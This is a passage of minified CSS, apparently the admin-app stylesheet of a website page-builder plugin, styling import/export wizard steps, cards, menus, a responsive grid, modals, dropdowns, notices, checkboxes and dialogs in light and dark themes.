2.75rem}.e-app-import-export-wizard-step__icon{color:var(--e-app-import-export-wizard-step-icon-color);font-size:50px}.e-app-import-export-wizard-step__icon.eicon-loading{font-size:1.85rem}.e-app-import-export-wizard-step__heading{margin-block-end:1.5rem}.e-app-import-export-wizard-step__description,.e-app-import-export-wizard-step__info{color:var(--e-app-import-export-wizard-step-text-color)}.e-app-import-export-wizard-step__info{margin-block-start:1.5rem}.e-app-import-export-wizard-step__content{text-align:initial;margin-block-end:1.25rem}.e-app-import-export-wizard-step__notice{display:block;position:sticky;top:100%;color:var(--e-app-import-export-wizard-step-block-end-text-color);font-style:italic;margin-block-end:0}.eps-theme-dark .e-app-import-export-wizard-step{--e-app-import-export-wizard-step-icon-color:#818a96;--e-app-import-export-wizard-step-text-color:#babfc5;--e-app-import-export-wizard-step-block-end-text-color:#babfc5}.e-app-import-export-page-header{--e-app-import-export-page-header-heading-color:#515962;--e-app-import-export-page-header-description-color:#69727d;margin-block-end:2.75rem}.e-app-import-export-page-header__content-wrapper{max-width:645px}.e-app-import-export-page-header__heading{color:var(--e-app-import-export-page-header-heading-color)}.e-app-import-export-page-header__description{color:var(--e-app-import-export-page-header-description-color);margin-block-start:1.25rem}.eps-theme-dark .e-app-import-export-page-header{--e-app-import-export-page-header-heading-color:#d5d8dc;--e-app-import-export-page-header-description-color:#d5d8dc}.e-app-wizard-footer{--e-app-wizard-footer-border-color:#e6e8ea;padding:.5rem}.e-app-wizard-footer__separator{border-block-start:1px solid var(--e-app-wizard-footer-border-color)}.eps-theme-dark .e-app-wizard-footer{--e-app-wizard-footer-border-color:#333438}.e-app-export-templates-features__locked{--e-app-export-templates-features-locked-color:#69727d;color:var(--e-app-export-templates-features-locked-color)}.eps-theme-dark .e-app-export-templates-features__locked{--e-app-export-templates-features-locked-color:#9da5ae}:root{--color-box-shadow-color:rgba(0,0,0,0.05)}.eps-theme-dark{--color-box-shadow-color:rgba(0,0,0,0.1)}:root{--card-background-color-hover:#fff;--card-border:1px solid #d5d8dc;--card-header-footer-border:1px solid var(--e-a-border-color);--card-header-footer-active-border:2px solid #babfc5;--card-headline-color:#515962;--card-figure-background-color:#babfc5;--card-image-overlay-background-color:rgba(0,0,0,0.2)}.eps-theme-dark{--card-background-color-hover:#2b2c31;--card-border:1px solid #333438;--card-header-footer-border:1px solid #333438;--card-header-footer-active-border:1px solid #1f2124;--card-headline-color:#d5d8dc;--card-figure-background-color:#3f444b;--card-image-overlay-background-color:rgba(63,68,75,0.5)}.eps-card{border:var(--card-border);border-radius:.1875rem;transition:.3s;font-size:.75rem}.eps-card__header{padding:.625rem;border-block-end:var(--card-header-footer-border);min-height:2.5rem;display:flex;align-items:center}.eps-card__header--padding{padding:var(--eps-card-header-padding)}.eps-card__headline{color:var(--card-headline-color);margin-block-end:0;font-weight:500;flex-grow:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.eps-card__body{padding:.625rem}.eps-card__body--padding{padding:var(--eps-card-body-padding)}.eps-card__figure{background-color:var(--card-figure-background-color);position:relative;padding-block-end:var(--card-image-aspect-ratio,95.6%);overflow:hidden;height:0}.eps-card__image{width:100%;-o-object-fit:contain;object-fit:contain;-o-object-position:top;object-position:top;position:absolute;top:0;left:0}.eps-card__image-overlay{position:absolute;top:0;background-color:var(--card-image-overlay-background-color);z-index:1;width:100%;height:100%;opacity:0;transition:.3s}.eps-card__image-overlay:hover{opacity:1}.eps-card__footer{padding:.625rem;border-block-start:var(--card-header-footer-border);font-size:.6875rem}.eps-card__footer--padding{padding:var(--eps-card-footer-padding)}:root{--menu-item-color:#515962;--menu-item-color-hover:#3f444b;--menu-item-color-active:#0c0d0e;--menu-item-background-color-hover:#f9fafa;--menu-item-background-color-active:#e6e8ea;--menu-item-action-button-color:#9da5ae}.eps-theme-dark{--menu-item-color:#d5d8dc;--menu-item-color-hover:#babfc5;--menu-item-color-active:#9da5ae;--menu-item-background-color-hover:#2b2c31;--menu-item-background-color-active:#333438;--menu-item-action-button-color:#818a96}.eps-menu-item{display:flex;align-items:center;position:relative;transition:.3s;--action-button-opacity:0}.eps-menu-item:before{content:"";display:block;position:absolute;top:0;left:0;height:100%;width:var(--menu-item-pointer-width);background-color:#0c0d0e}.eps-menu-item:hover:not(.eps-menu-item--active){background-color:var(--menu-item-background-color-hover);--action-button-opacity:1;--menu-item-color:var(--menu-item-color-hover);--eps-link-color:var(--menu-item-color-hover)}.eps-menu-item--active{background-color:var(--menu-item-background-color-active);--menu-item-color:var(--menu-item-color-active);--eps-link-color:var(--menu-item-color-active)}.eps-menu-item__link{padding:.5rem 1.875rem;min-height:2.75rem;font-size:.75rem;line-height:1.2;flex-grow:1;display:flex;align-items:center;color:var(--menu-item-color);--eps-link-color:var(--menu-item-color)}.eps-menu-item__link:not(:last-child){padding-inline-end:0}.eps-menu-item__link .eps-icon{font-size:1.125rem;margin-inline-end:.75rem}.eps-menu-item__action-button{opacity:var(--action-button-opacity);padding:.625rem;transition:.3s;margin-inline-end:1.25rem}.eps-menu-item--active{--menu-item-pointer-width:0.3125rem}.eps-grid-container{display:flex;flex-wrap:wrap;width:100%}.eps-grid-container--no-wrap{flex-wrap:nowrap}.eps-grid-container--wrap-reverse{flex-wrap:wrap-reverse}.eps-grid-container--spacing{--grid-row-gutter:calc(-1 * calc(var(--grid-spacing-gutter) * 0.625rem / 10));width:var(--grid-spacing-width);margin:var(--grid-row-gutter)}.eps-grid-container--spacing>.eps-grid-item{padding:var(--grid-spacing-gutter)}.eps-grid--direction-row{flex-direction:row}.eps-grid--direction-row-reverse{flex-direction:row-reverse}.eps-grid--direction-column{flex-direction:column}.eps-grid--direction-column-reverse{flex-direction:column-reverse}.eps-grid--justify-stretch{justify-content:stretch}.eps-grid--justify-start{justify-content:flex-start}.eps-grid--justify-center{justify-content:center}.eps-grid--justify-end{justify-content:flex-end}.eps-grid--justify-space-between{justify-content:space-between}.eps-grid--justify-space-around{justify-content:space-around}.eps-grid--justify-space-evenly{justify-content:space-evenly}.eps-grid--align-content-stretch{align-content:stretch}.eps-grid--align-content-start{align-content:flex-start}.eps-grid--align-content-center{align-content:center}.eps-grid--align-content-end{align-content:flex-end}.eps-grid--align-content-space-between{align-content:space-between}.eps-grid--align-items-start{align-items:flex-start}.eps-grid--align-items-center{align-items:center}.eps-grid--align-items-end{align-items:flex-end}.eps-grid--align-items-baseline{align-items:baseline}.eps-grid--align-items-stretch{align-items:stretch}.eps-grid-item--zero-min-width{min-width:0}@media screen and (min-width:480px){.eps-grid-item-sm{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:768px){.eps-grid-item-md{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:1025px){.eps-grid-item-lg{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:1440px){.eps-grid-item-xl{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:1600px){.eps-grid-item-xxl{flex-grow:1;max-width:100%;flex-basis:0}}.eps-grid-item-xs-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-xs-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-xs-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-xs-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-xs-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-xs-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-xs-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-xs-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-xs-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-xs-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-xs-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-xs-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}@media screen and (min-width:480px){.eps-grid-item-sm-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-sm-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-sm-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-sm-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-sm-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-sm-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-sm-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-sm-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-sm-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-sm-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-sm-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-sm-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:768px){.eps-grid-item-md-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-md-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-md-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-md-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-md-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-md-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-md-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-md-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-md-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-md-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-md-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-md-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:1025px){.eps-grid-item-lg-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-lg-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-lg-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-lg-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-lg-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-lg-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-lg-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-lg-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-lg-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-lg-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-lg-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-lg-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:1440px){.eps-grid-item-xl-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-xl-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-xl-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-xl-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-xl-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-xl-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-xl-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-xl-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-xl-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-xl-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-xl-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-xl-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:1600px){.eps-grid-item-xxl-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-xxl-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-xxl-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-xxl-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-xxl-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-xxl-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-xxl-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-xxl-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-xxl-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-xxl-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-xxl-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-xxl-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}.eps-theme-dark,:root{--menu-title-color:#515962}.eps-menu ul{list-style:none;padding:0;margin:0}.eps-menu ul li{display:flex}.eps-menu__title{padding:.5rem 1.875rem;font-size:.6875rem;line-height:1.2;text-transform:uppercase;font-weight:400;color:var(--menu-title-color)}:root{--eps-modal-background-color:#fff;--eps-modal-header-background-color:#2563eb;--eps-tip-background-color:#f0f7ff}.eps-theme-dark{--eps-modal-background-color:#0c0d0e;--eps-modal-header-background-color:#07c;--eps-tip-background-color:#0a1a3d}.eps-modal{max-width:43.75rem;background:var(--eps-modal-background-color);border-radius:.1875rem;animation:eps-animation-pop .15s cubic-bezier(.57,.53,.71,1.47) forwards}.eps-modal__overlay{background:rgba(0,0,0,.5);position:fixed;display:flex;top:0;left:0;width:100%;height:100%;align-items:center;justify-content:center;z-index:1030}.eps-modal__header{font-size:.875rem;background:var(--eps-modal-header-background-color);height:2.75rem;padding:.625rem 1rem;border-radius:.1875rem}.eps-modal__header,.eps-modal__header .title{color:#fff}.eps-modal__icon{margin-inline-end:.625rem}.eps-modal__body{padding:1.875rem}.eps-modal .eps-tip,.eps-modal__tip{padding:.5rem;padding-inline-start:.75rem;border-inline-start:3px solid #2563eb;background-color:var(--eps-tip-background-color)}.eps-modal .eps-tip:not(:last-child),.eps-modal__tip:not(:last-child){margin-block-end:1.875rem}.eps-modal .eps-tip:not(:first-child),.eps-modal__section:not(:first-child),.eps-modal__tip:not(:first-child){margin-block-start:1.875rem}.eps-modal__close-wrapper{padding-inline-start:1rem;border-inline-start:solid 1px #fff}.eps-add-new-button{display:inline-flex;--eps-add-new-button-size:1.5rem;line-height:var(--eps-add-new-button-size);cursor:pointer}.eps-add-new-button .eps-icon{background-color:#f3bafd;color:#0c0d0e;width:var(--eps-add-new-button-size);height:var(--eps-add-new-button-size);border-radius:100%;font-size:calc(var(--eps-add-new-button-size) * .75);text-align:center;line-height:var(--eps-add-new-button-size)}.eps-add-new-button span:not(.sr-only){margin-inline-start:.625rem;font-weight:500}.eps-add-new-button--sm{--eps-add-new-button-size:1rem}:root{--select2-selection-background-color:#fff;--select2-selection-color:#515962;--select2-selection-border-color:#9da5ae;--select2-selection-opened-focused-border-color:#babfc5;--select2-single-selection-rendered-color:#515962;--select2-default-single-selection-background-color:#fff;--select2-default-single-selection-border-color:#9da5ae;--select2-default-multiple-selection-background-color:#fff;--select2-default-multiple-selection-choice-background-color:#babfc5;--select2-default-multiple-selection-choice-color:#515962;--select2-default-multiple-selection-choice-border-color:#babfc5;--select2-default-multiple-selection-choice-remove-color:#69727d;--select2-default-multiple-selection-choice-remove-hover-color:#515962;--select2-default-results-selected-option-background-color:#fff;--select2-default-results-selected-option-color:#515962;--select2-default-results-highlighted-option-background-color:#5897fb;--select2-default-results-highlighted-option-color:#fff;--select2-results-selected-option-background-color:#5897fb;--select2-results-selected-option-color:#fff;--select2-dropdown-background-color:#fff;--select2-dropdown-border-color:#9da5ae}.eps-theme-dark{--select2-selection-background-color:#3f444b;--select2-selection-color:#d5d8dc;--select2-selection-border-color:#818a96;--select2-selection-opened-focused-border-color:#9da5ae;--select2-single-selection-rendered-color:#d5d8dc;--select2-default-single-selection-background-color:#3f444b;--select2-default-single-selection-border-color:#69727d;--select2-default-multiple-selection-background-color:#3f444b;--select2-default-multiple-selection-choice-background-color:#69727d;--select2-default-multiple-selection-choice-color:#d5d8dc;--select2-default-multiple-selection-choice-border-color:#69727d;--select2-default-multiple-selection-choice-remove-color:#babfc5;--select2-default-multiple-selection-choice-remove-hover-color:#d5d8dc;--select2-default-results-selected-option-background-color:#3f444b;--select2-default-results-selected-option-color:#d5d8dc;--select2-default-results-highlighted-option-background-color:#69727d;--select2-default-results-highlighted-option-color:#d5d8dc;--select2-results-selected-option-background-color:#69727d;--select2-results-selected-option-color:#d5d8dc;--select2-dropdown-background-color:#3f444b;--select2-dropdown-border-color:#818a96}.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple,.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single{background-color:var(--select2-selection-background-color);color:var(--select2-selection-color);border-color:var(--select2-selection-border-color)}.select2-container.select2-container--focus .select2-selection--multiple,.select2-container.select2-container--focus .select2-selection--single,.select2-container.select2-container--open .select2-selection--multiple,.select2-container.select2-container--open .select2-selection--single{border-color:var(--select2-selection-opened-focused-border-color)}.select2-container.select2-container--default .select2-selection--single .select2-selection__rendered{color:var(--select2-single-selection-rendered-color)}.select2-container--default .select2-selection--single{background-color:var(--select2-default-single-selection-background-color);border-color:var(--select2-default-single-selection-border-color)}.select2-container--default .select2-selection--multiple{background-color:var(--select2-default-multiple-selection-background-color)}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:var(--select2-default-multiple-selection-choice-background-color);color:var(--select2-default-multiple-selection-choice-color);border-color:var(--select2-default-multiple-selection-choice-border-color)}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:var(--select2-default-multiple-selection-choice-remove-color)}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:var(--select2-default-multiple-selection-choice-remove-hover-color)}.select2-container--default .select2-results__option[aria-selected]{background-color:var(--select2-default-results-selected-option-background-color);color:var(--select2-default-results-selected-option-color)}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:var(--select2-default-results-highlighted-option-background-color);color:var(--select2-default-results-highlighted-option-color)}.select2-container .select2-results__option[aria-selected=true]{background-color:var(--select2-results-selected-option-background-color);color:var(--select2-results-selected-option-color)}.select2-container .select2-dropdown{background-color:var(--select2-dropdown-background-color);border-color:var(--select2-dropdown-border-color)}.eps-notice{--eps-box-notice-background-color:#f1f2f3;padding:.625rem 1rem}.eps-notice-semantic{border-inline-start:3px solid var(--eps-notice-semantic-color);background-color:var(--eps-notice-semantic-bg)}.eps-notice-semantic .eps-notice__icon{color:var(--eps-notice-semantic-color);font-size:1rem;margin-inline-end:.75rem}.eps-notice--warning{--eps-notice-semantic-color:#f59e0b;--eps-notice-semantic-bg:#fffbeb}.eps-notice--danger{--eps-notice-semantic-color:#dc2626;--eps-notice-semantic-bg:#fef1f4}.eps-notice--info{--eps-notice-semantic-color:#2563eb;--eps-notice-semantic-bg:#f0f7ff}.eps-notice__text{margin:0;padding:0}.eps-notice__button-container{flex-shrink:0;margin-inline-start:1.25rem;width:auto}.eps-theme-dark .eps-notice{--eps-box-notice-background-color:#515962}.eps-theme-dark .eps-notice--warning{--eps-notice-semantic-bg:#311808}.eps-theme-dark .eps-notice--danger{--eps-notice-semantic-bg:#390a0a}.eps-theme-dark .eps-notice--info{--eps-notice-semantic-bg:#0a1a3d}.eps-list{--eps-list-item-separated-border-color:#babfc5;padding:0;margin:0;border-radius:.1875rem;border:1px solid var(--e-a-border-color);list-style-type:none}.eps-list--padding{padding:var(--eps-list-padding)}.eps-list__item{padding:0}.eps-list__item--padding{padding:var(--eps-list-item-padding)}.eps-list--separated .eps-list__item:not(:last-child){border-block-end:1px solid var(--eps-list-item-separated-border-color)}.eps-theme-dark .eps-list{--eps-list-item-separated-border-color:#3f444b}:root{--popover-background-color:#fff;--popover-item-color:#515962;--popover-item-hover-color:#3f444b;--popover-item-danger-hover-color:#dc2626;--popover-item-background-color:#fff;--popover-box-shadow-color:rgba(0,0,0,0.15);--popover-box-shadow-size:0px 1px 20px;--popover-arrow-color:#fff}.eps-theme-dark{--popover-background-color:#1f2124;--popover-item-color:#fff;--popover-item-hover-color:#d5d8dc;--popover-item-danger-hover-color:#f84343;--popover-item-background-color:#1f2124;--popover-box-shadow-color:rgba(0,0,0,0.15);--popover-box-shadow-size:0px 1px 20px;--popover-arrow-color:#1f2124}.eps-popover{padding:10px 0;background-color:var(--popover-background-color);box-shadow:var(--popover-box-shadow-size) var(--popover-box-shadow-color);list-style:none;display:flex;flex-direction:column;min-width:120px;border-radius:.1875rem;position:absolute;z-index:1050;margin-block-start:9px;transform:translateX(-50%);left:.25rem}.eps-popover__background{position:fixed;top:0;bottom:0;left:0;right:0;z-index:1030}.eps-popover__container{position:relative}.eps-popover:before{content:"";display:block;position:absolute;width:16px;height:9px;margin:0 .1875rem 9px;top:-9px;left:50%;transform:translateX(-50%);border-color:transparent;border-style:solid;border-width:0 calc(16px / 2) 9px;border-block-end-color:var(--popover-arrow-color)}.eps-popover__item{padding:.3125rem 1rem;background-color:var(--popover-item-background-color);color:var(--popover-item-color);font-size:.6875rem;font-weight:500;line-height:.8125rem;width:100%;align-items:center;cursor:pointer}.eps-popover__item:hover{color:var(--popover-item-hover-color)}.eps-popover__item--danger:hover{color:var(--popover-item-danger-hover-color)}.eps-popover__item .eps-icon{font-size:inherit;margin-inline-end:.3125rem}.eps-css-grid{display:grid;grid-template-columns:repeat(var(--eps-grid-columns,auto-fill),minmax(var(--eps-grid-col-min-width,1fr),var(--eps-grid-col-max-width,1fr)));grid-gap:var(--eps-grid-spacing)}.eps-box{--eps-box-color:#1f2124;--eps-box-input-color:#1f2124;padding:0;border-radius:.1875rem;color:var(--eps-box-color)}.eps-box--padding{padding:var(--eps-box-padding)}.eps-box>input{width:100%;outline:0;border:0;background-color:transparent;color:var(--eps-box-input-color)}.eps-theme-dark .eps-box{--eps-box-color:#d5d8dc;--eps-box-input-color:#d5d8dc}:root{--checkbox-border-color:#9da5ae;--checkbox-hover-border-color:#8f98a2;--checkbox-active-border-color:#abb2ba;--checkbox-background-color:#fff;--checkbox-checked-background-color:#515962;--checkbox-checked-hover-background-color:#454c54;--checkbox-checked-active-background-color:#5d6670;--checkbox-checked-disabled-background-color:#d5d8dc;--checkbox-indicator-color:#fff;--checkbox-error-background-color:#dc2626}.eps-theme-dark{--checkbox-background-color:transparent}.eps-checkbox{-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:.1875rem;width:15px;height:15px;outline:0;background-color:var(--checkbox-background-color);display:inline-flex;justify-content:center;align-items:center;border:1px solid var(--checkbox-border-color)}.eps-checkbox:after{display:inline-block;margin-block-end:calc(.25 / 2 * 100%);content:" ";width:3px;height:6px;transform:rotate(45deg)}.eps-checkbox:hover{--checkbox-border-color:var(--checkbox-hover-border-color)}.eps-checkbox:active{--checkbox-border-color:var(--checkbox-active-border-color)}.eps-checkbox:checked{--checkbox-background-color:var(--checkbox-checked-background-color);--checkbox-border-color:var(--checkbox-checked-background-color)}.eps-checkbox:checked:after{border:solid #fff;border-width:0 1px 1px 0}.eps-checkbox:checked:hover{--checkbox-background-color:var(--checkbox-checked-hover-background-color);--checkbox-border-color:var(--checkbox-checked-hover-background-color)}.eps-checkbox:checked:active{--checkbox-background-color:var(--checkbox-checked-active-background-color);--checkbox-border-color:var(--checkbox-checked-active-background-color)}.eps-checkbox:checked:disabled{--checkbox-background-color:var(--checkbox-checked-disabled-background-color);--checkbox-border-color:var(--checkbox-checked-disabled-background-color)}.eps-checkbox--rounded{border-radius:50%}.eps-checkbox--indeterminate{--checkbox-background-color:var(--checkbox-checked-background-color);--checkbox-border-color:var(--checkbox-checked-background-color)}.eps-checkbox--indeterminate:after{display:inline-block;margin-block-end:0;content:" ";width:7px;height:0;transform:rotate(0deg);border-block-start:1px solid #fff}.eps-checkbox--error:after,.eps-checkbox--error:before,.eps-checkbox--error:checked:after,.eps-checkbox--error:checked:before{display:inline-block;margin-block-end:0;content:" ";width:7px;height:0;border:solid #fff;border-width:1px 0 0;position:absolute}.eps-checkbox--error:before,.eps-checkbox--error:checked:before{transform:rotate(45deg)}.eps-checkbox--error:after,.eps-checkbox--error:checked:after{transform:rotate(-45deg)}.eps-checkbox--error,.eps-checkbox--error:checked,.eps-checkbox--error:checked:hover,.eps-checkbox--error:hover{--checkbox-background-color:var(--checkbox-error-background-color);--checkbox-border-color:var(--checkbox-error-background-color)}:root{--e-app-drag-drop-background-color:#fff;--e-app-drag-drop-outline-color:#e6e8ea}.eps-theme-dark{--e-app-drag-drop-background-color:#2b2c31;--e-app-drag-drop-outline-color:#333438}.e-app-drag-drop{background-color:var(--e-app-drag-drop-background-color);outline:2px dashed var(--e-app-drag-drop-outline-color);outline-offset:-.75rem;margin-block-end:1.5rem;padding:4.125rem;text-align:center}.e-app-drag-drop--drag-over{outline-color:#2563eb}.eps-dialog{border-radius:3px;width:375px}.eps-dialog__close-button{position:absolute;top:-2.75rem;right:-2.75rem;margin-block-start:.625rem;margin-inline-end:.625rem;z-index:1040;font-size:1.25rem;color:#fff}.eps-dialog__content{padding:1.5rem 1.875rem 1rem;font-size:.75rem}.eps-dialog__text,.eps-dialog__title{text-align:center}.eps-dialog__buttons{display:flex}.eps-dialog__button{flex:1;border-block-start:1px solid var(--hr-color);line-height:2.75rem;text-align:center;justify-content:center}.eps-dialog__button:last-child:not(:first-child){border-inline-start:1px solid var(--hr-color)}.e-app__popover{display:none;position:absolute;box-shadow:0 2px 15px rgba(0,0,0,.3);border-radius:6px;padding:20px;width:-moz-fit-content;width:fit-content;z-index:999;background-color:var(--e-a-bg-default)}.e-app__popover:before{content:"";position:absolute;top:-16px;right:var(--popover-arrow-offset-end,22px);border:8px solid transparent;border-block-end-color:#fff}.eps-inline-link{color:var(--eps-inline-link-color);background-color:initial;border:0;padding:0}.eps-inline-link--color-primary{--eps-inline-link-color:#0a875a}.eps-inline-link--color-secondary{--eps-inline-link-color:#818a96}.eps-inline-link--color-danger{--eps-inline-link-color:#dc2626}.eps-inline-link--color-cta{--eps-inline-link-color:#93003f}.eps-inline-link--color-link{--eps-inline-link-color:#515962}.eps-inline-link--color-disabled{--eps-inline-link-color:#d5d8dc}.eps-inline-link--underline-always,.eps-inline-link--underline-always:hover,.eps-inline-link--underline-hover:hover{text-decoration:underline}.eps-inline-link--italic{font-style:italic}.eps-inline-link,.eps-inline-link:focus{outline:none}.eps-text-field{--eps-text-field-color:#515962;--eps-text-field-background-color:transparent;--eps-text-field-placeholder-color:#69727d;--eps-text-field-outlined-border-color:#9da5ae;--eps-text-field-outlined-focus-border-color:#515962;width:100%;color: